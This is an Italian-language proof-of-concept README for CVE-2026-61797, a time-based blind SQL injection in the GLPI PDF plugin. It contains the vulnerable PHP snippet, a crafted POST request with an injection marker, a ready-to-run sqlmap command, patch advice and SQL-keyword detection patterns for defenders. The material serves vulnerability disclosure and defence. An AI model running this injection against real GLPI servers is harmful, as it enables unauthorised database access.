
Proof of Concept per CVE-2026-61797, un'SQL injection blind basata sul tempo nel plugin PDF di GLPI, con validazione tramite sqlmap e indicazioni per il rilevamento.
Proof of Concept per CVE-2026-61797, una vulnerabilità di SQL Injection cieca basata sul tempo che interessa il plugin PDF di GLPI.
La vulnerabilità è raggiungibile tramite:
/marketplace/pdf/front/preference.form.php
Nell'implementazione vulnerabile, i valori controllati dall'utente provenienti dall'array POST item vengono inseriti nelle query SQL senza una corretta parametrizzazione.
Un utente GLPI autenticato con privilegi bassi può sfruttare questo comportamento per iniettare espressioni SQL e dedurre informazioni dal database tramite i tempi di risposta.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-61797 |
| Prodotto | GLPI PDF Plugin |
| Versione testata | 4.1.2 |
| Versione corretta | 4.1.3 |
| Vulnerabilità | SQL Injection cieca basata sul tempo |
| Autenticazione | Richiesta sul branch 4.1.2 testato |
| Vettore di attacco | Rete |
| Interazione utente | Nessuna |
| Database | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
Il codice vulnerabile finisce per inserire la chiave item controllata dall'attaccante nel campo tabref di un'istruzione SQL INSERT.
Concettualmente, l'operazione vulnerabile appariva così:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Poiché $key diventa parte dell'istruzione SQL, una chiave di array appositamente costruita può modificare la query risultante.
Il PoC richiede:
sqlmap.Il PoC è stato validato contro PDF Plugin 4.1.2.
Catturare una richiesta legittima verso:
POST /marketplace/pdf/front/preference.form.php
e salvarla come:
glpi.sqli
Un corpo di richiesta minimo adatto a contrassegnare il punto di iniezione è:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Il * indica a sqlmap quale parte della richiesta deve essere testata.
Esempio di struttura della richiesta:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Eseguire:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Un'installazione vulnerabile dovrebbe essere identificata come accettante una SQL injection cieca basata sul tempo nel punto di iniezione POST personalizzato.
Una tipica rilevazione è simile a:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
La tecnica si basa su ritardi condizionali di MySQL come SLEEP() per determinare se una condizione iniettata risulta vera.
Questo repository limita intenzionalmente il PoC documentato alla verifica della vulnerabilità e non fornisce comandi per l'estrazione del database o delle credenziali.
La richiesta vulnerabile raggiunge:
plugins/pdf/front/preference.form.php
L'applicazione elabora valori simili a:
item[<USER_CONTROLLED_VALUE>]=1
PHP converte questo in un array associativo, in cui l'attaccante controlla la chiave dell'array.
Tale chiave viene successivamente utilizzata come $key dal plugin e, nella versione vulnerabile, viene concatenata direttamente in un'istruzione SQL.
Il flusso di dati risultante è effettivamente:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Un payload basato sul tempo può quindi influenzare l'espressione SQL e far ritardare deliberatamente la risposta al database quando una condizione fornita è vera.
Poiché l'applicazione non restituisce direttamente i risultati della query SQL, lo sfruttamento viene eseguito come SQL injection cieca.
Il problema è stato corretto in PDF Plugin 4.1.3.
Le operazioni SQL non elaborate vulnerabili sono state sostituite con meccanismi database/ORM più sicuri e logica di autorizzazione aggiuntiva.
Gli utenti dovrebbero aggiornare a:
PDF Plugin >= 4.1.3
o a una release supportata più recente.
I difensori potrebbero voler esaminare le richieste HTTP dirette a:
/marketplace/pdf/front/preference.form.php
con nomi di parametro item[...] insoliti.
Pattern particolarmente sospetti includono sintassi SQL o funzioni di ritardo temporale che compaiono all'interno di una chiave di array, ad esempio riferimenti a:
SLEEP(
SELECT
AND
OR
||
'
"
Richieste POST ripetute verso l'endpoint seguite da ritardi di risposta costanti di più secondi possono anche indicare tentativi di sfruttare una SQL injection cieca basata sul tempo.
Questo Proof of Concept è fornito esclusivamente per:
Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione al test.
Gli autori non si assumono alcuna responsabilità per l'uso non autorizzato o illegale di questo materiale.
Ricerca sulla vulnerabilità e analisi tecnica originale:
ITRESIT Labs — Javier Medina
Ricerca originale:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
Ottenere sempre esplicita autorizzazione prima di testare sistemi di cui non si è proprietari.